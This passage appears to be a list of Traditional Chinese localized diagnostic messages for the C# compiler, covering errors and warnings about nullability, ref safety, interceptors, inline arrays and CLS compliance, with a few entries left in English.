宣告上才有效。 + #warning: '{0}' + 靜態成員不能標記為 '{0}' + 無法同時在屬性或索引子 '{0}' 和其存取子上同時指定 'readonly' 修飾元。請移除其中一個。 + 在明確指派之前會先讀取欄位,導致先前隱含的指派為 'default'。 + 提供的行數和字元數並未參照可攔截的方法名稱,而是指權杖 '{0}'。 + 指派的左側必須是變數、屬性或索引子 + 目標執行階段不支援內嵌陣列類型。 + 標記為 override 的成員 '{0}',不可標記為 new 或 virtual + 部份方法宣告 '{0}' 與 '{1}' 必須使用相同的元組元素名稱。 + '{1}' 的 '{0}' 參數類型中,參考型別是否可為 NULL 的情況,與隱含實作的成員 '{2}' 不相符 (可能的原因是屬性可為 NULL)。 + 結構成員無法藉傳址方式傳回 'this' 或其他執行個體成員 + '{0}': 不是所有程式碼路徑都有傳回值 + 無法在此內容中使用 '{0}' 的結果,因為它會將參數 '{1}' 參考的變數公開在其宣告範圍外 + switch 運算式未處理其輸入類型的所有可能值 (未徹底處理)。例如,未涵蓋模式 '{0}'。 + 無法轉送類型 '{0}',因為其為 '{1}' 的巢狀類型 + 必須是單行註解或行結尾 + 條件約束不可為動態類型 + 在程式控制權脫離目前的方法之前,必須指派 out 參數 '{0}' + 前置處理符號的名稱無效; 不是有效的識別碼 + 字尾 'l' 很容易與數字 '1' 混淆 -- 請使用 'L' 以避免困擾 + '在明確介面宣告中的 '{0}' 不是介面 + 陣列存取 + 'with' 運算式的接收器不得為 void 類型。 + '{0}': 因為此語言不支援 '{1}',所以無法覆寫 + Cannot initialize type '{0}' with a collection expression because the type is not constructible. + 只有物件初始設定式中,或執行個體建構函式中 'this' 或 'base' 上僅供初始化的屬性或索引子 '{0}' 或 'init' 存取子可以指派。 + 無法將方法群組 '{0}' 轉換成委派類型 '{1}'(&M)。 + 參數修飾元 '{0}' 不可搭配 '{1}' 使用 + 當透過 'System.Runtime.CompilerServices.ITuple' 進行模式比對時,不允許元素名稱。 + Method '{0}' cannot be used as an interceptor because its containing type has type parameters. + 無法參考指派 '{1}' 給 '{0}',因為 '{1}' 具有比 '{0}' 更寬的值逸出範圍,允許透過 '{0}' 的值指派,其逸出範圍比 '{1}' 更窄。 + 因為類型 '{0}' 有重新抽象成員 (來自基底介面),所以無法內嵌。請考慮將 [內嵌 Interop 類型] 屬性設為 false。 + 非可叫用成員 '{0}' 不能用做為方法。 + ref 或 out 值必須是可指派的值 + 必須提供 SyntaxTreeSemanticModel,才可提供最基本的類型限定性條件。 + CallerArgumentExpressionAttribute 將沒有效果; CallerMemberNameAttribute 會覆寫它 + 產生器無法初始化。 + 類型 '{0}' 定義在未加入的模組中。您必須加入模組 '{1}'。 + 因為內插補點的結尾是 ':',所以無法直接在字串內插補點使用條件式運算式。 + '{0}' 中的命名空間 '{1}' 與 '{2}' 中的類型 '{3}' 相衝突 + '{0}': 靜態建構函式不能使用參數 + out 參數不能有 In 屬性 + 具有 'in' 修飾元的引數不可用於動態分派的運算式。 + 方法群組 + 非同步迭代器 '{0}' 有一或多個類型 'CancellationToken' 的參數,但因為沒有任何參數有裝飾 'EnumeratorCancellation' 屬性,所以將不會取用來自已產生 'IAsyncEnumerable<>.GetAsyncEnumerator' 的取消權杖參數 + MemberNotNull 屬性 + 從未指派欄位,會持續使用其預設值 + 方法 '{0}' 具有參數修飾元 'this',但其不在第一個參數上 + 字串常值前後不可使用非 ASCII 引號。 + base' 參考需要基底類別 + 未預期的前置處理器指示詞 + Unboxing 可能 null 值。 + 型別 '{2}' 無法作為型別參數 '{1}' 用於泛型型別或方法 '{0}' 中。型別引數 '{2}' 的可 Null 性與 'notnull' 限制式不符合。 + 將不會在 '{0}' 上執行 CLS 合規性檢查,因為從此組件之外無法看到它 + '{0}' 的 using 指示詞先前顯示為全域 using + '{0}': 因為 '{1}' 不是屬性,所以無法覆寫 + 在 C# {2} 中,類型為 '{1}' 的模式無法處理類型為 '{0}' 的運算式。請使用語言版本 {3} 或更新版本。 + 已指派變數 '{0}',但是從未使用過它的值 + 無法將運算子 '{0}' 套用至 'default' 和類型為 '{1}' 的運算元,原因是其為未知參考型別的型別參數 + 可為 Null 的參考型別註釋應只用於 '#nullable' 註釋內容中的程式碼。 + 只有位置 {1} 允許元組元素名稱 '{0}'。 + 有一個以上的保護修飾元 + XML 註解有句法不正確的 cref 屬性 '{0}' + 分析程式組件參考的編譯器版本比目前執行的版本新。 + '此語言不支援 '{0}' + XML 註解具有 paramref 標籤,但是沒有該名稱的參數 + await' 運算子只可用於非同步方法中。請考慮以 'async' 修飾元標記此方法,並將其傳回類型變更為 'Task'。 + 無法在執行個體成員內使用 ref、out 或 in 主要建立建構函式參數 '{0}' + 無法更新 '{0}'; 缺少屬性 '{1}'。 + 未簽署右移位 + 如果有編譯單位包含最上層陳述式,就無法指定 /main。 + 唯讀類型的主要建構函式參數不能做為 ref 或 out 值 (類型的 init-only setter 或變數初始設定式中除外) + CallerArgumentExpressionAttribute 將沒有效果; CallerFilePathAttribute 會覆寫它 + '{0}': 在密封類型中宣告了新的 Protected 成員 + 程式控制權無法從一個 case 標籤 ('{0}') 繼續到另一個 + 無法將 {0} 轉換成類型 '{1}',因為其非委派類型 + 具有陳述式主體的 Lambda 運算式,不可轉換成運算式樹狀架構 + 方法 '{0}' 會為型別參數 '{1}' 指定 'default' 條件約束,但覆寫或明確實作方法 '{3}' 的對應型別參數 '{2}' 會限制為參考型別或實值型別。 + 參數的 'scoped' 修飾元不符合覆寫或實作的成員。 + 解構中的混合宣告與運算式 + Microsoft (R) Visual C# 編譯器 + 行包含與原始字串常值結尾行不同的空白: '{0}' 與 '{1}' + 無法透過參考轉換、boxing 轉換、unboxing 轉換、wrapping 轉換或 null 類型轉換,來將類型 '{0}' 轉換成 '{1}' + '{0}' 僅供評估之用。後續更新時可能會有所變更或移除。 + 只能使用一個值對指標編製索引 + '{0}' 具有 CollectionBuilderAttribute,但沒有元素類型。 + 不支援在此內容中使用函式指標類型。 + 不是有效的警告號碼 + 兩個部份方法宣告必須都為唯讀,或者都不為唯讀 + Byref 本機與傳回 + 套用到參數 '{0}' 的 CallerArgumentExpressionAttribute 將沒有效果,因為它是自我參考。 + 無法將具有動態類型的引數傳遞給本機函式 '{1}' 的 params 參數 '{0}'。 + 內嵌 Interop 方法 '{0}' 包含主體。 + 集合初始設定式元素最符合的多載 Add 方法 '{0}' 已經過時。 + 動態 + 在宣告區域變數 '{0}' 之前,無法使用此變數。區域變數的宣告會隱藏欄位 '{1}'。 + 因為元組 == 或 != 運算子的另一端指定了不同的名稱或未指定名稱,所以會忽略元組元素名稱。 + 不支援在類型為 '{0}' 的內嵌陣列上 foreach 語句 + 成員在結束時必須具有非 Null 值。 + 索引超出內嵌陣列的界限。 + 於檔案第一個語彙基元後無法定義或取消定義前置處理器符號 + 不得同時指定編輯選項 '{0}' 與 '{1}'。 + 最上層陳述式 + CallerMemberNameAttribute 將沒有效果,因為它所套用到的成員是用在不允許選擇性引數的內容 + 檢查模式下,作業於編譯時期溢位 + 命名空間別名限定詞 + 沒有引數的 throw 陳述式不可用於 catch 子句之外 + 模式比對運算元無效; 需要值,但找到 '{0}'。 + foreach 陳述式無法對 async 或 iterator 方法中類型 '{0}' 的列舉值進行操作,因為 '{0}' 為 ref struct。 + 參數未讀取。是否忘記使用該參數來初始化該名稱的屬性? + 常數值 '{0}' 在執行階段可能會使 '{1}' 溢位 (請使用 'unchecked' 語法覆寫) + 事件 '{0}' 從未使用過 + XML 註解沒有放置在有效的語言項目前 + 寫入 XML 文件檔案時發生錯誤: {0} + 泛型 + '{0}' 介面標記為 'CoClassAttribute',而非標記為 'ComImportAttribute' + 無法將 '{0}' 的欄位用作為 ref 或 out 值,因其為 '{1}' + 可能使用了未指派的自動實作屬性 '{0}' + 欄位 '{0}' 從未使用過 + 未參考此標籤 + '{0}' 有重複的具名屬性引數 + 無法製作類型 '{0}' 之變數的參考 + await' 運算子只有在包含於以 'async' 修飾元標記的方法或 Lambda 運算式中時,才可使用 + 運算式樹狀架構不得包含元組常值。 + 對相同變數進行的比較 + 無法以具名引數呼叫函式指標。 + 物件與集合初始設定式運算式不可套用到委派建立運算式 + XML 註解中的 '{0}' 有重複的 typeparam 標籤 + '{0}': 與衍生類型之間不可進行使用者定義的轉換 + 物件或集合初始設定式意味會解除參考可能為 null 的成員。 + 類型未實作介面成員。基底類型所實作之介面中的參考類型可 NULL 性不相符。 + '{0}' 不是有效的格式規範 + '包含 ref 條件運算子的運算式無法使用 'await' + 參數 '{0}' 未讀取。是否忘記使用該參數來初始化該名稱的屬性? + 非同步迭代器成員有一或多個類型 'CancellationToken' 的參數,但因為沒有任何參數有裝飾 'EnumeratorCancellation' 屬性,所以將不會取用來自已產生 'IAsyncEnumerable<>.GetAsyncEnumerator' 的取消權杖參數 + 匯入了具有相同簡單名稱 '{0}' 的組件。請嘗試移除其中一個參考 (例如 '{1}'),或簽署它們以啟用並存。 + await' 運算子不可用於靜態指令碼變數初始設定式。 + 無法繼承具有指定之類型參數的介面 '{0}',因為其會讓方法 '{1}' 包含只有在 ref 和 out 上有所差異的多載 + 名稱 '{0}' 不在 'equals' 左側的範圍內。請考慮交換 'equals' 任一側的運算式。 + 無法套用 CallerFilePathAttribute,因為沒有從類型 '{0}' 標準轉換成類型 '{1}' + 只有大小寫不相同的識別項 '{0}',不符合 CLS 規範 + 無法將 null 常值轉換成不可為 Null 的參考型別。 + 不一致的存取範圍: 屬性類型 '{1}' 比屬性 '{0}' 的存取範圍小 + null 不是有效的參數名稱。若要取得執行個體方法接收器的存取權,請使用空字串做為參數名稱。 + 開啟 Win32 資源檔 '{0}' 時發生錯誤 -- '{1}' + 空白的格式規範。 + 傳回型別是否可為 NULL 的情況,與覆寫的成員不相符 (可能的原因是屬性可為 NULL )。 + 用於 sign-extended 運算元上的 Bitwise-or 運算子 + 運算式的結果一律會相同,因為此類型的值絕對不會等於 'null' + 透明識別項成員存取 '{1}' 的欄位 '{0}' 失敗。目前正在查詢的資料是否會實作查詢模式? + 委派泛型類型條件約束 + 參數類型中參考型別是否可為 NULL 的情況,與實作的成員不相符 (可能的原因是屬性可為 NULL )。 + 無法在 '{0}' 上使用數值常數或關聯式模式,因為它繼承自或延伸 'INumberBase<T>'。請考慮使用類型模式來縮小為特定數數值型別。 + 無法套用 CallerLineNumberAttribute,因為沒有從類型 '{0}' 標準轉換成類型 '{1}' + 'extern alias' 在此內容中無效 + 基底類型 '{0}' 所需的成員清單格式錯誤,無法解譯。若要使用此建構函式,請套用 'SetsRequiredMembers' 屬性。 + 在指派 'this' 物件的所有欄位之前,無法在建構函式中使用。請考慮更新語言版本,以自動預設未指派的欄位。 + 這兩個條件運算子的值都必須是 ref 值,或兩個都不是 ref 值 + 此內容中不可使用 new() + 無法內嵌類型 '{0}',因為其為巢狀類型。請考慮將 [內嵌 Interop 類型] 屬性設定為 false。 + 在模組上指定的 CLSCompliant 屬性不能與組件上的 CLSCompliant 屬性不同 + 傳回類型中參考類型的可為 Null 性與攔截的方法不相符。 + 必須在物件初始設定式或屬性建構函式中設定必要的成員 '{0}'。 + 內嵌陣列索引子將不會用於元素存取運算式。 + {0}。請參閱錯誤 CS{1}。 + 基底類型無效 + 必要成員 '{0}' 可見度不能較低,或 setter 的可見程度低於包含的類型 '{1}'。 + 類型名稱 '{0}' 不存在於類型 '{1}' 中 + 找不到與下列 include 標籤相符的項目 + 功能 '{0}' 仍在實驗階段且不具支援;請使用 '/features:{1}' 來啟用。 + 在明確指派之前會先讀取自動實作屬性,導致先前隱含的指派為 'default'。 + 類型會覆寫 Object.Equals(object o),但不會覆寫 Object.GetHashCode() + 非同步資料流 + goto case' 值未隱含轉換成參數類型 + 已指定 /doc 編譯器選項,但是一個或多個建構沒有註解。 + '{0}': 無法覆寫繼承的成員 '{1}',因為其未標記為 virtual、abstract 或 override + 參數名稱 '{0}' 重複 + '{0}': 靜態建構函式中不可使用存取修飾詞 + 請勿使用 'System.Runtime.CompilerServices.RequiredMemberAttribute'。請改為在必要的欄位和屬性上使用 'required' 關鍵字。 + 未預期的未繫結泛型名稱用法 + 對應至 'in' 參數之引數的 'ref' 修飾詞相當於 'in'。請考慮改用 'in'。 + 存取子 '{0}' 無法為類型 '{2}' 實作介面成員 '{1}'。請使用明確的介面實作。 + 兩個部分方法宣告必須都是擴充方法,或者都不是擴充方法 + 必須是 catch 或 finally + new 運算式在類型後需要有引數清單或是 ()、[] 或 {} + 已宣告變數,但從未使用過它 + '{0}' 是在具有無法辨識的 RefSafetyRulesAttribute 版本的模組中定義,預期為 '11'。 + 找到檔案結尾,必須是 '*/' + 無法從 {1} 編譯來參考類型為 '{0}' 的編譯 + 已為 'ref readonly' 參數指定預設值,但 'ref readonly' 只能用於參考。請考慮將參數宣告為 'in'。 + '{0}' 會隱藏繼承的成員 '{1}'。若要讓目前的成員覆寫該實作,請加入 override 關鍵字; 否則請加入 new 關鍵字。 + '{0}' 未實作介面成員 '{1}'。'{2}' 無法實作介面成員,因為其並非公用。 + 檔案-本機類型 '{0}' 不能用於非檔案本機類型 '{1}' 的成員簽章。 + 介面 '{0}' 不可用做為型別引數。靜態成員 '{1}' 在介面中沒有最具體的實作。 + 必須是 {0} SemanticModel。 + 參考條件運算式 + 預設運算子 + 可能未指派 'void' 類型的值。 + 預設常值 + '{0}' 未實作介面成員 '{1}'。'{2}' 無法實作 '{1}'。 + 類型為 '{1}' 的模式無法處理類型為 '{0}' 的運算式。 + 在指派 'this' 物件的所有欄位之前,無法使用該物件。請考慮更新語言版本 '{0}',以自動預設未指派的欄位。 + 指定的選項衝突: Win32 資源檔; Win32 圖示 + 如有指定公用簽章,屬性將予忽略。 + 類型名稱 '{0}' 保留供編譯器使用。 + 明確介面指定名稱中參考類型可 NULL 性與類型所實作的介面不相符。 + 無法使用 'UnmanagedCallersOnly' 將應用程式進入點屬性化。 + 名稱 '{0}' 不在 'equals' 右側的範圍內。請考慮交換 'equals' 任一側的運算式。 + '{0}': 在覆寫繼承的成員 '{1}' 時無法變更元組元素名稱 + 程式所使用的使用者字串加起來長度超過允許限制。請嘗試減少使用字串常值。 + 必須是 { + 字尾 'l' 很容易與數字 '1' 混淆 + 此位置處找到未預期的字元。 + 必須以 '>' 或 '/>' 做為結束標籤 '{0}'。 + 擲回值可能為 null。 + 在 XML 註解中,類型參數沒有相符的 typeparam 標籤 (但其他類型參數則相反) + 警告動作 enable + 最好不要定義名為 'global' 的別名,因為 'global::' 一定會去參考全域命名空間,而不會去參考別名 + 套用到參數 '{0}' 的 CallerMemberNameAttribute 將沒有作用,因為它套用到了不允許選擇性引數的內容中所使用之成員 + 屬性建構函式參數 '{0}' 的類型為 '{1}',但是該類型不是有效的屬性參數類型 + 變異數修飾元無效。只有介面及委派類型參數才可指定為變異數。 + 參數在某些條件下結束時必須具有非 Null 值。 + 類型 '{0}' 的值不可使用關聯性模式。 + C # {0} 不支援從具有密封的 'Object.ToString' 的記錄繼承。請使用 '{1}' 或更高的語言版本。 + 只有 ref/out 或陣列陣序差異的多載方法,不符合 CLS 規範 + '{0}': Volatile 欄位不可為類型 '{1}' + stackalloc 運算式在類型之後需要有 [] + 匿名類型成員宣告子無效。匿名類型成員必須以成員指派、簡單名稱或成員存取加以宣告。 + 元組不可包含 'void' 類型的值。 + 無法在 ref 參數上僅指定 Out 屬性,卻不指定 In 屬性。 + 已指定多次原始程式檔 '{0}' + 類型 '{1}' 且屬性為 '{0}' 的成員,無法以物件初始設定式進行指派,因為其為實值類型 + collection expressions + '{0}': 結構無法呼叫基底類別建構函式 + 類型未實作集合模式; 成員模稜兩可 + 在 catch 或 finally 區塊中不可使用 stackalloc + 必須是字串常值,但未找到左引號。 + '{0}' 不可同時為外部並宣告主體 + <切換運算式> + 前置處理器運算式無效 + 關鍵字 'this' 在目前內容中無法使用 + lambda 傳回型別 + SyntaxTree 從 #load 指示詞所產生,無法直接移除或取代。 + 無法辨認的 #pragma 指示詞 + 匿名類型不可具有多個同名的屬性 + 類型參數 '{1}' 有 'unmanaged' 條件約束,因此 '{1}' 不可作為 '{0}' 的條件約束 + 名稱 '{0}' 超過中繼資料內所允許的長度上限。 + using static' 指示詞不能用來宣告別名 + 對同一個變數進行指派; 您是否想要指派別的東西? + 從未使用過事件 + 無法在全域命名空間中宣告攔截器。 + 因為 '{0}' 不包含 '{1}' 的公用執行個體或延伸模組定義,所以非同步的 foreach 陳述式無法在型別 '{0}' 的變數上運作 + 事件 '{0}' 只可出現在 += 或 -= 的左側 + 目標委派類型中的預設參數值不相符。 + Include 標籤無效 + 函式指標 + 組件 '{1}' 中類型 '{0}' 的類型轉送子造成循環 + 類型 '{0}' 已包含 '{1}' 的定義 + 運算式樹狀結構不可包含使用選擇性引數的呼叫或引動過程 + 運算子 '{0}' 不可套用至運算元 '{1}' + 無法開啟中繼資料檔'{0}' -- {1} + 與類型 '{0}' 的 null 進行比較,一律會產生 'false' + 模組做為屬性目標規範 + 遞迴模式 + 當兩介面方法的差異只在於特定參數的標記方式是 ref 還是 out 時,便可能產生此警告。因為在執行階段所呼叫方法既不明顯,也沒辦法預先確認,所以最好變更程式碼來避免此警告。 + +雖然 C# 會區分 out 與 ref,但是 CLR 會將它們視為相同。決定實作介面的方法時,CLR 只會選擇其中一個。 + +請為編譯器提供呼叫方法的區分方式。例如,您可以為它們指定不同的名稱,或在其上提供其他參數。 + 無法在檔案的第一個語彙基元後使用 #r + '{0}' 未實作執行個體介面成員 '{1}'。因為 '{2}' 為靜態,所以無法實作介面成員。 + '{0}' 未實作介面成員 '{1}'。'{2}' 無法在 C# {3} 中隱含地實作非公用成員。請使用語言版本 '{4}' 或更新版本。 + 這會藉傳址方式 '{0}' 傳回參數,但其非 ref 參數 + 無法使用值將傳址變數初始化 + 具名引數 + 傳回型別只能有一個 '{0}' 修飾元。 + 預先定義的類型 '{0}' 在全域別名的多個組件中都有定義; 請使用 '{1}' 中的定義 + 運算式樹狀架構 Lambda 不能包含呼叫藉傳址方式傳回的方法、屬性或索引子 + 自動預設結構欄位 + 部分方法不能有 'abstract' 修飾元 + '{0}' 已列在類型 '{1}' 上的介面清單中,並具有不同的參考類型可 NULL 性。 + 屬性與屬性值之間少了等號。 + 無法更新,因為推斷的委派型別已變更。 + 無法將 '{0}' 項目的元組解構為 '{1}' 變數。 + '{0}' 未實作繼承的抽象成員 '{1}' + 多個分析器組態檔無法處於相同目錄 ('{0}') 中。 + 元素欄位為 'ref' 欄位或具有無效類型引數的內嵌陣列類型,不支援 'Inline arrays' 語言功能。 + 因為未密封內含的記錄,所以無法密封 '{0}'。 + 無法建立變數類型 '{0}' 的執行個體,因為其無 new() 條件約束 + 無法推斷 '{0}' 的類型,因為其初始設定式會直接或間接參考定義。 + '{0}': 在覆寫中,目標執行階段不支援 Covariant 類型。類型必須是 '{2}',才符合覆寫的成員 '{1}' + #load 只允許用於指令碼 + 只有未命名陣列類型有差異的多載方法 '{0}',不符合 CLS 規範 + 參數的參考種類修飾詞不符合覆寫或實作成員中對應的參數。 + 此參考指派的值比目標的逸出範圍更寬,允許透過目標的值指派,其逸出範圍更窄。 + 類似欄位的事件 '{0}' 不能是 'readonly'。 + 屬性引數必須是常數運算式、typeof 運算式或屬性參數類型的陣列建立運算式 + 唯讀結構 + <throw 運算式> + 部分類型 + 指定的運算式永遠不符合提供的模式。 + 泛型參數為定義,但其必須是參考 {0} + An expression tree may not contain a collection expression. + 因為參數 '{0}' 不是 null,所以傳回值必須非 null。 + 已保留作為左值的語法 'var (...)'。 + '{0}' 不會覆寫 '{1}' 的必要方法。 + 結構成員藉傳址方式傳回 'this' 或其他執行個體成員 + 因為在回應檔中已指定 /noconfig 選項,所以將會忽略該選項 + '{0}' 未實作靜態介面成員 '{1}'。因為 '{2}' 為靜態,所以無法實作介面成員。 + '{0}': 屬性或索引子不可有 void 類型 + '{0}': 無法覆寫繼承的成員 '{1}',因為其已密封 + 迭代器不能有 ref、in 或 out 參數 + 索引屬性 '{0}' 的所有引數都必須是選擇性引數 + 在控制項傳回呼叫者之前,必須先完全指派欄位 '{0}'。請考慮更新至語言版本 '{1}' 以自動預設欄位。 + 兩個部分方法宣告都必須有相同的傳回型別。 + Lambda 參數用法不一致; 參數類型必須全部為明確類型或全部為隱含類型 + 無法載入分析器組件 + 無法推斷隱含型別捨棄的類型。 + 介面清單中的類型 '{0}' 不是介面 + 可攔截與攔截器方法的簽章不相符。 + 未預期的關鍵字 'record'。您是指 'record struct' 或 'record class'? + 元素 + 不支援 'parameter null-checking' 功能。 + __arglist 參數必須是參數清單的最後一個參數 + {0} 不是有效的 C# 複合指派作業 + 運算式樹狀架構不得包含 'is' 模式比對運算子。 + 無法使用屬性 constructor '{0}',因為它有 'in' 或 'ref readonly' 參數。 + 參考 foreach 反覆運算變數 + 從 '{2}' 轉換成 '{3}' 時,使用者定義的轉換 '{0}' 與 '{1}' 模稜兩可 + 無法內嵌 Interop 類型 '{0}'。請改用適當的介面。 + 運算式的類型必須是類型 '{0}',因為其藉傳址方式指派 + 組件不包含任何分析器 + '{0}' 沒有任何多載符合函式指標 '{1}' + 對具有負索引的陣列編製索引 + 藉傳址方式傳回的屬性不能有 set 存取子 + 命令列語法錯誤: 遺漏 '{0}' 選項的 ':<number>' + 類型 '{0}' 的參考表示它定義在 '{1}' 中,但找不到 + 可能對引數 '{0}' 進行了不正確的指派,而其為 using 或 lock 陳述式的引數。此區域變數的原始值,將會發生 Dispose 呼叫或解除鎖定。 + 具有 {0} 元素的 Tuple 無法轉換為類型 '{1}'。 + 屬性值中不可使用字元 '<'。 + 這會取得 Managed 類型 ('{0}') 的位址、大小,或宣告指向它的指標 + 若記錄繼承自物件,則記錄中的複製建構函式,必須呼叫基底的複製建構函式,或未設定任何參數的物件建構函式。 + #pragma checksum 語法無效; 應該是 #pragma checksum "filename" "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}" "XXXX..." + 非 Variant 方式 + '{0}' 僅供評估之用,可能會在未來更新中變更或移除。抑制此診斷以繼續。 + 位置不在有完整範圍 {0} 的語法樹狀結構內 + 無法定義新的擴充方法,因為找不到編譯器的必要類型 '{0}'。是否遺漏了 System.Core.dll 的參考? + 傳回型別中參考型別的可 Null 性與部分方法宣告不符。 + 為了可以當成最少運算 (Short Circuit) 運算子使用,使用者定義的邏輯運算子 ('{0}') 必須具有相同的傳回類型與參數類型 + 對同一個變數進行比較; 您是否想要比較別的東西? + 插補中的新行 + 'scoped' 修飾元不能與捨棄一起使用。 + 只有大小寫不同的識別項,不符合 CLS 規範 + 參數 {0} 在 Lambda 中具有參數修飾元,但不在目標委派類型中。 + 無效的實際常值。 + 您不能使用 fixed 陳述式來取得原本就是 fixed 運算式的位址 + '{0}' 沒有僅使用符合 CLS 規範之類型的可存取建構函式 + 運算十進位常數運算式失敗 + 參數 '{0}' 在以 '{1}' 結束時必須具有非 Null 值。 + 清單模式 + 標籤 '{0}' 重複 + 無法指派給唯讀欄位 (除非位於建構函式內; 或位於已定義此欄位的類型中,僅供初始化的 Setter 內; 或位於變數初始設定式內) + 退出建構函式時,不可為 Null 的 {0} '{1}' 必須包含非 Null 值。請考慮將 {0} 宣告為可為 Null。 + using 別名 '{0}' 之前曾出現於此命名空間中 + 傳遞引數 {0} 時必須包含 '{1}' 關鍵字 + 無法使用執行個體成員內類型 '{0}' 的主要建構函式參數 + 套用到參數 '{0}' 的 CallerArgumentExpressionAttribute 將沒有效果,CallerMemberNameAttribute 會覆寫它。 + 傳回型別中參考型別的可 Null 性與部分方法宣告不符。 + 具名屬性引數 '{0}' 的值無效 + 類型參數 '{1}' 出現重複的條件約束 '{0}' + 類型為 '{1}' 的唯讀欄位 '{0}' 之成員,無法以物件初始設定式進行指派,因為其為實值類型 + 唯讀結構中不允許欄位型的事件。 + 因為元組 == 或 != 運算子的另一端指定了不同的名稱或未指定名稱,所以會忽略元組元素名稱 '{0}'。 + async' 修飾元只可用於具有主體的方法。 + Switch 運算式未處理某些 null 輸入。 + '{0}' 的部分宣告不得指定不同的基底類別 + '{0}' 由於其保護層級之故,所以無法存取 + 此內容不允許隱藏項目運算子 + 繼承的成員 '{0}' 和 '{1}',在類型 '{2}' 中有相同的簽章,所以無法覆寫 + 索引子存取必須以動態方式分派,但因為其為基底存取運算式的一部分,所以無法動態分派。請考慮將動態引數轉型,或排除基底存取。 + '{0}' 沒有名稱為 '{1}' 的適用方法,但似乎有使用該名稱的擴充方法。擴充方法不可以動態方式分派。請考慮將動態引數轉型,或不要利用擴充方法語法來呼叫擴充方法。 + '{0}': 抽象屬性不可有私用存取子 + 'is' 運算式的指定運算式絕不是提供的類型 + 內嵌陣列索引子將不會用於元素存取運算式。 + 目標執行階段不支援介面中的靜態抽象成員。 + 指定的版本字串 '{0}' 不符合所需的格式: major.minor.build.revision (不含萬用字元) + 請勿在屬性 (property) 上使用 'System.Runtime.CompilerServices.FixedBuffer' 屬性 (attribute) + 開啟 Win32 資訊清單檔案 {0} 時發生錯誤 -- {1} + UnscopedRefAttribute 只能套用至結構執行個體方法和屬性,且無法套用至建構函式或僅 init 成員。 + '{0}' 是密封類型 '{1}' 中新的虛擬成員 + 參數型別中參考型別的可 Null 性與部分方法宣告不符合。 + 運算式樹狀結構不可包含具備索引的屬性 + #pragma 總和檢查碼語法無效 + 原始字串常值開頭沒有足夠的引號字元,因此無法允許這麼多連續的引號字元做為內容。 + LookupOptions 的選項組合無效 + 必須是長度為 '{0}' 的陣列初始設定式 + 無法以可寫入傳址方式傳回唯讀欄位 + 可延伸 fixed 陳述式 + 運算式樹狀架構不可包含 from-end index ('^') 運算式。 + 內嵌陣列 + Switch 運算式或 case 標籤必須是 bool、char、string、integral、enum 或 C# 6 及舊版中對應的可為 Null 類型。 + 必須提供位置,才可提供最基本的類型限定性條件。 + 新增的模組必須以 CLSCompliant 屬性標記,才能與這個組件相符 + 類型 '{2}' 必須是參考類型,才可在泛型類型或方法 '{0}' 中用做為參數 '{1}' + 提交只能包含指令碼。 + 記錄會定義 'Equals' 而非 'GetHashCode'。 + '{0}': 因為 '{1}' 沒有可覆寫的 get 存取子,所以無法覆寫 + 前一個 catch 子句已提取所有例外狀況 + 對可移動的固定緩衝區編製索引 + '{0}' 是二進位檔案而非文字檔 + 此語言版本不支援自動屬性 (property) 上以欄位為目標的屬性 (attribute)。 + switch 運算式必須是值; 但找到的是 '{0}'。 + 無法將 '{0}' 指派給匿名型別屬性 + 使用可能未指派的自動實作屬性 + 無法開啟 '{0}' 進行寫入 -- '{1}' + 使用者定義的運算子 '{0}' 的明確實作必須宣告為靜態 + 可能誤用了空白的陳述式 + 無法從方法 '{0}' 建立委派,因為它是無實作宣告的部分方法 + 請勿覆寫 object.Finalize,請改為提供解構函式。 + 運算式主體建構函式及解構函式 + 關聯性樣式 + 傳回型別中參考型別的可 Null 性與覆寫的成員不符合。 + 必須是檔案名稱、單行註解或行結尾 + 成員 '{0}' 在以 '{1}' 結束時必須具有非 Null 值。 + XML 註解具有參考類型參數的 cref 屬性 '{0}' + 委派 '{0}' 沒有有效的建構函式 + ref 唯讀參數 + 解構必須包含至少兩個變數。 + 實值類型 '{1}' 上定義的擴充方法 '{0}',無法用以建立委派 + 不一致的存取範圍: 基底類別 '{1}' 比類別 '{0}' 的存取範圍小 + goto case 只有在 switch 陳述式中有效 + 這會透過 ref 參數藉傳址方式傳回參數 '{0}' 的成員; 但是只能在 return 陳述式中安全地傳回 + 類別 System.Object 不能有基底類別或實作介面 + 使用未指派的區域變數 + 靜態匿名函式不可包含對 'this' 或 'base' 的參考。 + '{0}': 覆寫 '{1}' 繼承的成員 '{2}' 時,無法變更存取修飾詞 + 索引子不能有 void 的類型 + 不一致的存取範圍: 參數類型 '{1}' 比運算子 '{0}' 的存取範圍小 + '{0}' 必須符合被覆寫之成員 '{1}' 的僅供初始化 + 需要為 const 欄位提供值 + 無法還原警告 'CS{0}',因為其已全域停用 + 引進可能會妨礙解構函式引動過程的 'Finalize' 方法。是否想要宣告解構函式? + 藉傳址方式傳回 '{0}' 的成員,但已將其初始化為無法藉傳址方式傳回的值 + 傳回型別是否可為 NULL 的情況,與覆寫的成員不相符 (可能的原因是屬性可為 NULL )。 + 類型與別名不應命名為 'record'。 + '{0}' 的主體不可是迭代區塊,因為 '{0}' 是藉傳址方式傳回 + [] 內的索引數目錯誤; 必須是 {0} + 指定了延遲簽署且需要公開金鑰,但未指定任何公開金鑰 + 標記 [DoesNotReturn] 的方法不應傳回。 + 運算式詞彙 '{0}' 無效 + '{0}' 存取子的存取範圍修飾元,必須比屬性或索引子 '{1}' 更嚴格 + CallerFilePathAttribute 只能套用至具有預設值的參數 + 遺漏 '{0}' 選項的檔案規格 + 部分方法宣告必須有相符的參考傳回值。 + 必須是以引號括住的檔案名稱 + 類型 '{0}' 中出現重複的使用者定義之轉換 + 必須是 byte、sbyte、short、ushort、int、uint、long 或 ulong 類型 + 在明確指派自動實作屬性 '{0}' 之前會先將控制項傳回呼叫者,導致先前隱含的指派為 'default'。 + 未預期的泛型名稱用法 + '{0}' 不需要 CLSCompliant 屬性,因為組件並沒有 CLSCompliant 屬性 + 介面 '{1}' 的 Managed coclass 包裝函式類別簽章 '{0}',不是有效的類別名稱簽章 + 類型 '{1}' 同時存在於 '{0}' 和 '{2}' 中 + 無法在此內容中使用類型 '{0}',因為它無法在中繼資料中表示。 + '{1}' 中的參數 '{0}' 可能有 Null 參考引數。 + 類型與所匯入的類型衝突 + 必須為 '{0}' 類型的常數值 + 無法從另一個非泛型型別建立建構的泛型型別。 + 在差補字串中,只能以重複兩次 ('{0}{0}') 的方式,將 '{0}' 字元逸出。 + 無效的 XML include 項目 + 可能有 Null 參考傳回。 + 